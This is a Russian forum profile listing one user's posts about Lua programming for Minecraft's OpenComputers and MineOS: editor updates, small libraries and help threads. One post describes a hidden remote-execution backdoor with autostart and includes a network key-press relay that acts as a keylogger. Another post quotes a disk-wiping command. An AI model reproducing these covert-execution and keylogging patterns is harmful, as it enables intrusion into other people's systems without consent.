Перейти к содержимому

Oleshe

Пользователи
  • Публикации

    155
  • Зарегистрирован

  • Посещение

  • Победитель дней

    12

Сообщения, опубликованные пользователем Oleshe


  1. Большое обновление "Контент 01"

    Довольно большое обновление:
    Граф. элементы:

      Пофикшены мелкие баги такие как ошибка в названий переменной и т.п.

      Добавлена возможность прозрачности у кнопок, только задний фон.

    Общее:

      Появился установшик!!!1!11!11 Его можно полапать в релизах гитхаба. Там он простой так-что каждый разберётся и может переманить его на свою программу. Есть data_00 -- библиотека и data_01 -- само приложение. У установщика есть локализаций.

      Появились "Шаблоны параметров" которые применяются к объекту. На пример текст или имя объекта. Поэтому мы и набрали 50 Кб xdd.

      Изменился алгоритм отрисовки, теперь мы смотрим изменился ли вообще объект после чего смотрим какой именно параметр изменился и его и изменяем. Мы теперь не перерисовываем раз за разом те объекты которые в покое. На него подсел и сам Editor так-что это его зависимость.

      Сохранения проектов теперь в 1-м архивном файле, вместо тысячи другой.

      Теперь Открыть/Сохранить/Экспорт находятся в menu который с верху где время на пример. Там-же к слову находятся и шаблоны параметров.

       Теперь в корне гита есть example (Archive.pkg) который мы разумеется распаковываем и запускаем. Нужна библиотека.

     

    Список маленький работа огромная2.


  2. Есть таблица которую оно может запринтить, но не может записать аля не хватает памяти. Что за мистика ECS? Объясняйся.

    image.png.81ed812aed01ccd173f36ce035571316.png

    ---

    image.thumb.png.65747160738df82ab7b018c63444e44d.png

    ---

     

    И еще 2 "}" в конце. Оба прогона были сделаны в идентичных условиях.

    Исследование: у нас есть raw который хранит в общем весь этот ваш граф. элемент, в том числе и его функций, а на функций и ругался serialize из OpenOS, и че теперь делать?


  3. MineOS но вопрос по луа. Есть 2 таблицы: game.screen и game.screen.buffer. В процессе отрисовки нужно что-бы все параметр из game.screen перекатились в game.screen.buffer. Они это делают но вот загвоздка: мне не всралось что-бы когда в game.screen менялось значение, оно менялось и в game.screen.buffer.

    Мега ультра код:

    Скрытый текст
    
    for i = 1, #game.screen do
    	if game.screen.buffer[i] == nil then
    		print('nil !')
    		game.screen.buffer[i] = {visible = false}
    	end
    	print(game.screen.buffer[i].text, game.screen[i].text)
    
    ...
    
    print('Copy buffer')
    game.screen.buffer = {}
    for i = 1,#game.screen do
    	table.insert(game.screen.buffer, game.screen[i]) -- Пробовал (изначально было) game.screen.buffer[i] = game.screen[i], результат тотже
    	print(game.screen.buffer[i].text)
    end

     

    В том то и смысл что если в скрине менялось значение, а в буфере нет, то означает что объект изменили и мы смотрим что изменили, после чего изменяем на значение скрина, а в конце копируем скрин в буфер потому-что значение то изменилось дабы если снова изменилось и так по кругу.

    Весь код:

    Скрытый текст
    
    		for i = 1, #game.screen do
    					if game.screen.buffer[i] == nil then
    							print('nil !')
    							game.screen.buffer[i] = {visible = false}
    					end
    					if game.screen[i].type == 'text' then
    							print('text')
    							if game.screen[i].visible ~= game.screen.buffer[i].visible then
    									print('Visible')
    									if game.screen[i] and not game.screen.buffer[i].visible then 
    											local tmp = screen:addChild(GUI.text(game.screen[i].x,game.screen[i].y,game.screen[i].color,game.screen[i].text))
    											game.screen[i].raw = tmp
    									else
    											game.screen[i].raw:remove()
    									end
    							end
    							if game.screen[i].x ~= game.screen.buffer[i].x then
    									game.screen[i].raw.localX = game.screen[i].x
    									print('x')
    							end
    							if game.screen[i].y ~= game.screen.buffer[i].y then
    									game.screen[i].raw.localY = game.screen[i].y
    									print('y')
    							end
    							if game.screen[i].text ~= game.screen.buffer[i].text then
    									game.screen[i].raw.text= game.screen[i].text
    									print('text')
    							end
    							if game.screen[i].color ~= game.screen.buffer[i].color then
    									game.screen[i].raw.color = game.screen[i].color
    									print('color')
    							end
    					end
    		end
    		print('Copy buffer')
    		game.screen.buffer = {}
    		for i = 1,#game.screen do -- Поэелементно и в лоб шо-бы у нас не дюпались буфера (game.screen.buffer = game.screen <-- Содержить буфер), которые там и не будем использовать. (Внутри буффера)
    			print(game.screen.buffer[i].text)
    			table.insert(game.screen.buffer, game.screen[i]) -- Было еще и game.screen.buffer[i] = game.screen[i]
    			print(game.screen.buffer[i].text)
    		end

     

     


  4. 3 часа назад, JustiHix сказал:
    • Описание: Когда человек встал на pim програма должна забрать руду и дать в 2 раза больше слитков.

    Во первых, программа, а во вторых поподробнее.

    Какая руда? Какие слитки? Откуда мы их вообще будем брать? У пима же вроде свой инвентарь, где гарантия что готовые слитки никто не сопрёт? Или мы их дробилку и плавить будем?

    Моя 100 публикация, забавно.


  5. Этот скрипт позволяет выполнять код без ведома владельца. Оно выполняет их в фоне. Нужно ручная настройка. Именно:

    У нас есть 3 переменные которые нужно будет изменять вам ведь вам лучше решать где и что будет, переменные:
    NOWPATH - Там откуда запускается скрипт. Я не знаю как сделать так что-бы оно само определяло так-что можете там строчку помочь.
    YOURPATH - Конечный файл, то где будет лежать скрипт.
    STARTLINE - Откуда начинать копирование, снос строк. Сделано для того что-бы можно было нормальной программой прикрыть нашу.

    Автозапуск скрипта записывается в /home/.shrc.

    Что прописать для того что-бы оно выполнено:

    modem.broadcast(200,'execute','print("Hello World"')

    Имейте в виду что компьютеру нужно время для выполнений ваших программ, любую прогу советую пихать в "многопоточность" или хотя-бы в event.listen.

    Пример: 

    Скрытый текст
    
    require('event').listen('key_down',function(...)
      require('component').modem.broadcast(200,...)
    end)

     

    Будет "тревожить" нас по каждому нажатию клавиши.

    Так-же я сделал простенький экзекутер:

    Скрытый текст
    
    local cmp = require('component')
    local modem = cmp.modem
    modem.open(200)
    local args = {...}
    if require('filesystem').exists(args[1]) then
      local handle = io.open(args[1])
      modem.broadcast(200,'execute',handle:read(math.huge))
      handle:close()
    else
      print('File does not exists')
    end

     Юсаге:

    executer_file_name file_name

    Пока только для OpenOS. Сделано оно максимально безпалевно, но .shrc палит. Пока не знаю что с этим сделать.


  6. Большое обновление: "Интерфейс"

    В этом обновлений мы наконец поправили те места в редакторе, которые выглядели хрупко или некрасиво.

    Добавлено:

      Скрипты:

        Предпросмотр скрипта на оставшемся куске пространства в параметрах

        Теперь можно не только создать новый, но и загрузить существующий скрипт. Принимаются файлы с разрешением ".lua", "" (без него).

      Хранилище:

        Добавлена возможность удалить файл из списка Хранилища.

        Если разрешение файла .pic то при его выборе откроется предпросмотр изображения на оставшемся куске пространства в параметрах.

    Изменено:
      Граф. элементы:
        Высота кнопки уменьшена с 5 на 3.

        Изменён цвет текста на cr1 (0х989898)

        Изменён задний фон поле ввода когда мы вводим.

      Общее:   

        Теперь кнопки "Экран", "Скрипты" и "Хранилище" имеют динамичное расположение и колеблются в зависимости от длины их текста.

        Фикс прыгающих надписей и выравнивание их по линеечке.

        Изменён "алгоритм" вычисления позиций для Title в окне.

        Исправлен баг отрисовка панели, не хотело обрисовываться и выдавало ошибку.

        Текст, кнопки и другие элементы теперь лепятся со сносом в 2 и 1 пиксель от края окна.

        Добавлен в палитру цветов новый тёмный оттенок серого, 0х757575

        Изменён задний фон редактора на cr4 (0x757575).

        Поставлена предохранители на пустое поле на пример Х, оно вылетало. Теперь оно не изменяет значение на "новое" а держит старое.

        По просьбам желающих были добавлены скриншотики на вики гитхаба, радуйтесь.

        Тот-же желающий открыл исуе, мы исправили и закрыли, спасибо добрый человек.

      Экспорт, сохранение, загрузка:

        Для экспорта и сохранение если в целевой папке уже существуют файлы, спрашивает продолжим ли сохранять или отменим.

        Изменено имя переменной отвечающей за расположение файла с scriptpath на gamepath.
    Просмотреть обновление вы можете скачав все файлы с гитхаба, там-же есть вики.


  7. Graph библиотечка с 1-й функцией которая создаёт координатный холст как в школьной тетради когдато!

    Мы можем добавить точку и соединить 2 точки линией, после каждого конца редактирования линий нужно вызывать update() на холсте. Точки здесь это просто обозначения, они не рисуются на холсте. Если вам нужно обозначить точку, поставите 2 точки на одно и ту же координату и соедините их линией.

    Ему нужна также моя библиотека vectorImage для рисования холста.

    Гитхаб: https://github.com/0leshe/graph

    В корне есть 2 скрипта которые вырисуют хдд и смайл фейс, xdd и face соответственно.

    Вот для примера бантик, сотканный с помощью 4-х точек:

    image.png

    • Нравится 1

  8. Image Paint мальенкая библиотечка которая в изображений может заменить один цвет на другой. Тот цвет который мы хотим заменить может быть таблицей, тоесть несколько цветов.

    Репозиторий: https://github.com/0leshe/imagePaint

    Уже по традиций есть example.lua, управление:

    Пробел - меняем цвет

    s - выход

    Так-же там есть выбор цвета в который вы хотите покрасить несчастную пикчу хдд диска.


  9. Еще одна библиотечка на подходе!

    Заголовок переводиться как "Атлас текстур" из которого всё понятно. У нас есть большая пикча в которой маленькие пикчи которые мы используем. Как минимум один плюс в том, что оно организованно, именно есть 2 функций сет/гет которые могут получить изображение из атласа по его имени/Занести изображение в атлас на имя. Он даёт реальную организованность в том, что куча изображений сливаются в одно, да еще и которым относительно(не знаю просто) удобно пользоваться. Все функций находятся в корне выдаваемой таблиц init, так-же они вызываются через двоеточие. Всё атласавое изображение находиться: fullAtlas.atlas.image.

    Репозиторий: https://github.com/0leshe/imageAtlas
    atlas.pic поместить в папку ImageAtlasExample, все папки находятся в корне диска.

    От 1-6 меняем стандартные изображение системы.

    s - выйти

    a - суета в лево

    d - суета в право

    • Нравится 1

  10. Спасибо @ECS за помощь в организацией кода, она реально стало удобнее и вообще, ловко он придумал, я даже сначала и не понял как он сделал, молодец. Продолжим.

    Векторное изображение: изображение состоящие из геометрических фигур.

    Растровое изображение: изображение состоящие из пикселей.

    Превосходство векторнового над растровым в размере файла, когда растровому надо запомнить и пустые пиксели, векторному 7 циферок. Но на то мы и рисуем фигурами что живописную картину там не нарисовать.

    Вообще сейчас оно записывается как обычная таблица, что не есть хорошо, в планах перестать так его записывать и на его место поставить сплошную строку с отметками "начало конец", что тоже не очень но лучше чем записывать каждый индекс в файл, который и так ясен при загрузке-выгрузке. Не суть

    Это пока еще сырой продукт, как минимум потому-что есть что дорабатывать.

    Репозиторий на гитхабе: https://github.com/0leshe/vectorImage

    В корне репозитория есть "пример" использования библиотеки, именно мы там жонглируем фигурами вперёд назад. Гениальное управление:

    q -- Опустить нашу фигуру вниз по слоям отрисовки

    e -- Поднять нашу фигуру вверх по слоям отрисовки

    r -- Выбрать то, что находиться на последнем месте отрисовки

    f -- Выбрать то, что находиться на втором месте отрисовки

    v -- Выбрать то, что находиться на первом месте отрисовки


  11. Обычное обновление

    На репозиторий гитхаба была загружена программа для OpenOS которая наглядно будет передавать файлы, что уже может понадобится в быту. Использование:

    lfrbin [mode] [file] [link]

    Есть 2 mode, h (host) или r (requset)

    2-й аргумент это либо файл куда сохранять, либо тот который мы будем раздавать.

    3-й аргумент "ссылка" на наш файл, дабы не произошло смешивание всякого.


  12. 10 часов назад, ECS сказал:

    Исходники не полные, инфы о создании элементов фигур в what нет

    Либа:

    Скрытый текст
    
    local gui = require('gui')
    local screen = require('screen')
    local toend = {}
    local fs = require('filesystem')
    local compress = require('compressor')
    local function unpack(what)
      return compress.unpack(what,'/Temporary/lib')
    end
    local function pack(what)
      return compress.pack('/Temporary/lib',what)
    end
    function toend.new(width,heigth)
      return {width=width,heigth=heigth}
    end
    function toend.add(where,x,y,what,...)
      local args = {...}
      if what == 'line' or what == 'square' then
        table.insert(where,{x=x,y=y,type=what,x1=args[1],y1=args[2],color=args[3]})
      end
      if what == 'cucle?' then
        table.insert(where,{x=x,y=y,type=what,r=args[1],color=args[2]})
      end
      return where
    end
    function toend.load(path)
      if fs.exists(path) then
      unpack(path)
      return fs.readTable('/Temporary/lib') 
      else
      return nil,'File does not exists'
      end
    end
    function toend.save(what,path)
      fs.writeTable(what,'/Temporary/lib')
      return pack(path)
    end
    function toend.draw(where,x,y,what)
      toendobject = where:addChild(gui.object(x,y,what.width,what.heigth))
      toendobject.what = what
      toendobject.draw = function(toendobject)
        local what = toendobject.what
        local screen = require('screen')
        for i = 1,#what do
          require('component').gpu.set(1,1,tostring(i))
          print(what[i])
          if what[i].type == 'line' then
            print('draw line')
            screen.drawLine(what[i].x,what[i].y,what[i].x1,what[i].y1,what[i].color,0x0,' ')
          elseif what[i].type == 'square' then
            print('draw square',what[i].x,what[i].y,what[i].x1,what[i].y1,what[i].color)
            screen.drawRectangle(what[i].x,what[i].y,what[i].x1,what[i].y1,what[i].color,0xFFFFFF,'R')
          elseif what[i].type == 'cucle?' then
            print('draw cucle?')
            screen.drawEllipse(what[i].x-what[i].r,what[i].y-what[i].r,what[i].r,what[i].r,what[i].color,' ')
          end
        end
      end
      return toendobject,where
    end
    return toend

     

    Запуск:

    Скрытый текст
    
    local vector = require('vectorImage')
    local gui = require('gui')
    a = vector.new(10,10)
    a = vector.add(a,1,1,'square',10,10,0xFFFFFF)
    a = vector.add(a,1,1,'line',10,10,0xFFFFFF)
    wk = gui.workspace(160,50)
    _,wk=vector.draw(wk,1,1,a)
    wk:draw() -- Всё чётко как видете
    wk:start()

     

    Ну типа. Удачи разобраться :)


  13. 4 часа назад, Forsash3451k сказал:

    (Plan9k, Network, OpenOs, Data Card Software, OpenLoader, Builder, Generator Update Software, OPPM, Digger, Mazer, OpenIRC)

    Plan9k -- Реально существующая система, здесь она почти ни чем не отличается от OpenOs.

    Network -- Реально продвинутая работа с сетью, содержит не только исполняемые файлы но и библиотеку.

    OpenOs -- Содержит стандартную систему OpenOs, база.

    Data Card Software (data) -- Работа с шифрованием данных через карту данных. Есть библия.

    OpenLoader -- ЕЕПРОМка вроде, есть исполняемый файл инсталл изменяет системный /init.lua, имеет autorun.lua.

    Builder -- Дискета для робота. Исполняемый файл позволяет загружать "схему" постройки и строить её. Как по мне даже очень полезно. Лично не пробовал.

    Generator Update Software (genereator) -- Несчастная программа для робота с улучшением генератора. Несчастная потому-что это просто интерпретатор всех команд этого самого генератора. Ну может кому-то и понадобиться.

    OPPM -- Чудо для скачки с интернета всякой всячины только по названию этой всячины. Пастебин но менее запарный.

    Digger (dig) -- Буквально копатель ям. Дискета для робота. Копает ямы зиг-загами. Тоже может быть полезно.

    Mazer -- Шо-то с лабиринтом,  по коду оно туда сюда поворачивает, не знаю. Мб проходит лабиринт.

    OpenIRC (irc) -- По догадке мост с irc серверами, на пример наш cc.ru можно попробовать.

    • Нравится 1

  14. В общем вопрос опять адресован к ECS.

    Вот у нас уже есть наша перменная в нашей функций, но screen.drawRectangle ничего не делает. Вообще. Оно может только пожаловаться что ожидалась цифра а получило шыш.

    Уже весь код, это бтблтотека:

    Скрытый текст
    
    function toend.draw(where,x,y,what)
      toendobject = where:addChild(gui.object(x,y,what.width,what.heigth))
      toendobject.what = what
      toendobject.draw = function(toendobject)
        local what = toendobject.what
        local screen = require('screen')
        for i = 1,#what do
          require('component').gpu.set(1,1,tostring(i))
          print(what[i])
          if what[i].type == 'line' then
            print('draw line')
            screen.drawLine(what[i].x,what[i].y,what[i].x1,what[i].y1,what[i].color,0x0,' ')
          elseif what[i].type == 'square' then
            print('draw square',what[i].x,what[i].y,what[i].x1,what[i].y1,what[i].color)
            screen.drawRectangle(what[i].x,what[i].y,what[i].x1,what[i].y1,what[i].color,0xFFFFFF,'R')
          elseif what[i].type == 'cucle?' then
            print('draw cucle?')
            screen.drawEllipse(what[i].x-what[i].r,what[i].y-what[i].r,what[i].r,what[i].r,what[i].color,' ')
          end
        end
      end
      return toendobject,where
    end

     

    Там все эти принты, гпу это дебаг его не будет в конце. Обмазал этим для того что-бы понять правильное ли наполнение у переменных.

    Да оно правильное.

    Да оно определяет тип фигуры.

    Код "активаций":

    ...
    wk = gui.workspace(160,50)
    _,wk = lib.draw(wk,1,1,a)
    ...

    а - содержит в себе там все эти х, у и тому подобные. Упакованы они правильно.


  15. Дано: переменная, таблица what; функция draw элемента object MineOS GUI
    Рисунок:image.png.6c251f6335cf911a18f7db98c1c531b2.png

    Найти: как сделать переменную what доступной в функций .draw.
    Примечание: входные параметры функций задаём не мы, а сама система, то-есть мы не можем просто-так дать ей нашу переменную в аргументы функций.


  16. 1 час назад, Forsash3451k сказал:

    Здравствуйте, возникла проблема с api openos.

    Здавствуйте.
    Вообще это Filesystem API. Не суть.

    Что у меня получилось по запросу:

    1 час назад, Forsash3451k сказал:

    Массив, в котором будет содержаться файлы/директории

    local fs = require('filesystem')
    ...
    local files = fs.list('/') 
    local idk = {} 
    while true do 
      toadd = nil 
      toadd = files() 
      if toadd == nil then break end 
      table.insert(idk,toadd) 
    end
    ...

    В fs.list меняем путь, на желаемый.

    idk Это тот список в который вы будете складывать ваши папки, на пример.

    toadd = nil

    toadd = files Это костыль для того что-бы если файлов больше не осталось, наше значение "добавить" осталось пустым, далее проверяем пустое ли оно (закончились папки\файлы) если да то цикл в ананас если не то добавляем наше чудо название чего-либо в список.
    Данный код показывает содержимое только этой папки, без вложенных в него других папок.

    Теперь про fs.list:

    Оно возвращает функцию, эта функция с каждым вызовам будет показывать следующий элемент, пример:

    a = fs.list('/home')

    print(a())

    print(a())

    >> "test.lua"

    >> "testdir/"
    Если-же элементы кончились то оно ничего не возвращает, переменная не изменяет своё значение на nil, вроде.

    Удачи1!1 :3

    • Нравится 1

  17. Какой сканер мы используем для обнаружения игрока? Как код может быть легко дополняемый, он может быть модульный если я правильно понял аля: вот эта часть обнаруживает игрока, вот эта часть светит камнем. В какую сторону светы светить камнем или светить сразу во все?


  18. LFR - (Local File Request) -- репозиторий гитхаба.

    Из названия уже ясно, что мы передаём фалы в локальной сети компьютеров.

    Как она работает:

    Есть сервер и есть клиент. Сервер образуется lfr.pull и ждёт пока клиент не запросит у него реквестом файл (ссылку). После сервер проверяем существует ли такая ссылка на файл и сам файл, если да то начинает передавать по 8 килобайт весь файл.

    Работает на любой ос.


  19. 17 часов назад, Bumer_32 сказал:

    опа, так это же та самая моя(и не только) идея! которую я предлагал еще до того, когда что то знал о луа

    Ну, идея не поучила реализаций, видимо, а сейчас вот оно, на коленке).

     

    17 часов назад, Bumer_32 сказал:

    Правда пока что - сыровато...

    В каком смысле? Критикуй так предлагай взамен, что нужно что-бы оно не выглядело сыро?

    17 часов назад, Bumer_32 сказал:

    даже тот же самый интерфейс который если честно немного не понятен (даже то что цвета сливаються)

    Интерфейс лёгкий, у нас есть окно в котором на пример графические объекты, для того что-бы настроить его нам нужно кликнуть по его имени. Потом отобразиться параметры и делай чо хош. Ну с цветами да, я не знаю какую цветовую коррекцию использовать, серый показался нейтральным. На то оно и 50 оттенков серого).

    Окна кстати можно перетаскивать.

    17 часов назад, Bumer_32 сказал:

    стоит кстати ещё упомянуть что она то под MineOS

    Я думал что это очевидно что если работаем с граф. объектами то это MineOS.

    17 часов назад, Bumer_32 сказал:

    а скриншотики?

    Вот и еще один фидбэк) Пойду накидаю их туда.


  20. Обычное обновление. "Релиз!"

    Добавлено:

      Поддержка локализаций которая работает на божьем слове. Обращаться по game.localization. Гайд по работе с ней на гитхабе.

      Папка Localization в папке экспорта, при экспорте).

    Исправлено:

      Граф. элементы:

        Возможность закрыть окно при выборе какой объект добавить в на пример screen.

        Уже отрисовка в редакторе не была обёрнута в тунубер поэтому при загрузке проекта все взрывалось

      Storage:

        Переработан к чертям. Теперь мы можем хранить в нём все типы файлов. Ваще все шаришь? Типы которые в разрешений .lang так и отправиться в папку локализаций. Бинд пикч к объекту image в screen так и осталось.

    В честь уже релиза я бахнул википедию на гитхабе, она не как у ECS. Она на логику, объясняет принципы как работать в программе.

    В принципе в программе дорабатывать больше нечего, пойду сделаю архиватор какой-нибудь, вроде интересный проект...


  21. В 22.02.2023 в 12:50, logicikaarenopen сказал:

    Вид как у Cyan bios 

    вы можете сделать свой биос с нашего кода

     

    он просто не делает что то такого например патчит систему или что то такого

    Перевод на русский есть немного там не русского

    Чиво?
    Патчит систему? Другие разве так делают? А чем тебя тогда Cyan не устроил? Да еще и код у него позаимствовал. На счёт перевода: где запятые? Я не могу понять смысл предложения.

    В 22.02.2023 в 12:50, logicikaarenopen сказал:

    Че он делает:

     

    загружает файлы lua с инета NETBOOT 

    формат диска делает

    командная строка есть

    Зачем загружать луа файлы если на это есть опен сось с пастебином или гихабом которая на дискете, которую буквально надо иметь что-бы качнуть биос.

    Зачем форматировать диск? У меня до сих пор за 1.1 года работы с модом не понадобилось форматнуть диск.

    Зачем она? Что мы можем прописать с помощью этой строки? Наоборот это уязвимость, потому-то злоумышленнику достаточно просто войти в биос прописать component.proxy(component.list('filesystem')()).remove('/') что-бы какраз и форматнуть диск со всеми твоими наработками на которые ты тратил часы. Не вижу в ней смылся, в опен соси есть и библиотеки и опять-же она в стандартной комплектаций.

    В 22.02.2023 в 12:50, logicikaarenopen сказал:

    Называется он: Simple Bios но почему

    Потому что он сделан легко

    и для новичков  

    У меня 6 по русскому но я знаю что в "Называется он" надо ставить "-" а не двоеточие.

    Со второй строчкой не поспоришь)

    А вот тут да, это продукт который поможет новичкам создавать биоса подобные программы на дронов и микроконтроллеров. Это служит как пример, но в нём просто много спорных решений.

    Честный обзор. Возможно грубо, но на то он и честный. Ну, удачи что-ли :3.

    • Грусть 1

  22. 17 часов назад, IgnorGTO сказал:

    Сори чуток ошибся 'био-1', ',био-2' исправил

    Тяк, ну смотри, тут у нас 2 био привязаны к 1-й дери.
    Не правильно построил список, список никак не может быть именем переменной.
    В общем:
    У нас есть список в котором био, у на сесть двери, по той схеме их никак не связать. Зачем искать 2-е решение проблемы если есть 1-е.
    Можно что-то такое:
     {{door1 = {bio1, bio2}, door2 = {bio2, bio3}| на пример.

    Тогда мы должны перебрать все дувери, и проверять привязан ли био к нашей двери:
     

    local address= {{'126','102'},{'abc','hui'}} -- адресса
    local cmp = require('component')
    local a = '3r6i45g-1fefrh24-tr2hh2rtg-2wkkkosg-23yhqfg2' -- 2-й аргумент события
    for i = 1, #address do -- для каждой двери
      for e = 1, #address[i] do -- для каждого био от двери
        if cmp.get(address[i][e]) == a then -- если они одинаковые
          cmp.invoke(cmp.get(address[i]),'toggle') -- открываем дверь деверь првязаную к био
        end
      end
    end

    Тогда в 1-м списке адресов будет 1-я дверь, к ней относятся био, их может быть сколько угодно. Это даже оптимизирование и быстрее редактируется.


  23. Крупное обновление. "Доработка"

    Добавлено: 
      Граф. элементы:
        Ползунок
        Выбор цвета
        Полоса прогресса
        Панель

        Индикатор прогресса (кружочек)
      OpenGame.lua (Library)
        move(object,x,y,[speed,smooth]) -- изменение позиций объекта со скоростью, плавно или не
        resize(object,w,h,[speed,smooth]) -- изменение длинны-ширины объекта со скоростью, плавно или не. Нужно хотя-бы наличие одно из 2-х элементов, относиться и к move. Плавность не видно, оно не прерывается на отрисовку, хоть команда и стоит.

      Локализация:
        Украинский
        Русский
        Английский
      Возможности:

        Создать иконку приложения, изменить размеры окна, его название и т.д.
        Удалить объект
        Переместить по слоям отрисовки

        Добавлен чёрный цвет к палитре

    Изменено:
      Граф. элементы
        Метод показа цвета, теперь в HEX коде (fingercomp помог)
        Метод изменения параметров, теперь они в линию
        Открытие и закрытие проектов, теперь стоят предохранители на случаи на на пример правильной папки
    Оптимизация:
      Граф. элементы:
        Сделаны ярлыки на частую отрисовку таких объектов как поле ввода.
        Сделаны ярлыки на цвета
    Исправлено:
      Граф. элементы:
        Отрисовка в экспортированных приложениях осуществлялась без обёртки tonumber, из-за чего были ошибки.
        Сохранение проекта в одну и ту-же папку, хоть это не ошибка но если проект большой то будет довольно трудно разобраться что куда.

    Знаем:
      Граф. элементы:
        В русской локализаций все надписи прыгают.
    Слайд шоу Meet The Enginer сделанное на этом "движке":

    Пасты те-же.
    Без локализаций будет плохо, поэтому сделал кривой репозиторий на гитхабе: https://github.com/0leshe/OpenGames/tree/main

    Планы:
      Сделать параметры локализаций для проектов.
    Кто прочитал тот найдет завтра на дороге 100 рублей 99.99% правда!!!11!1!!!.

    • Нравится 1
×
×
  • Создать...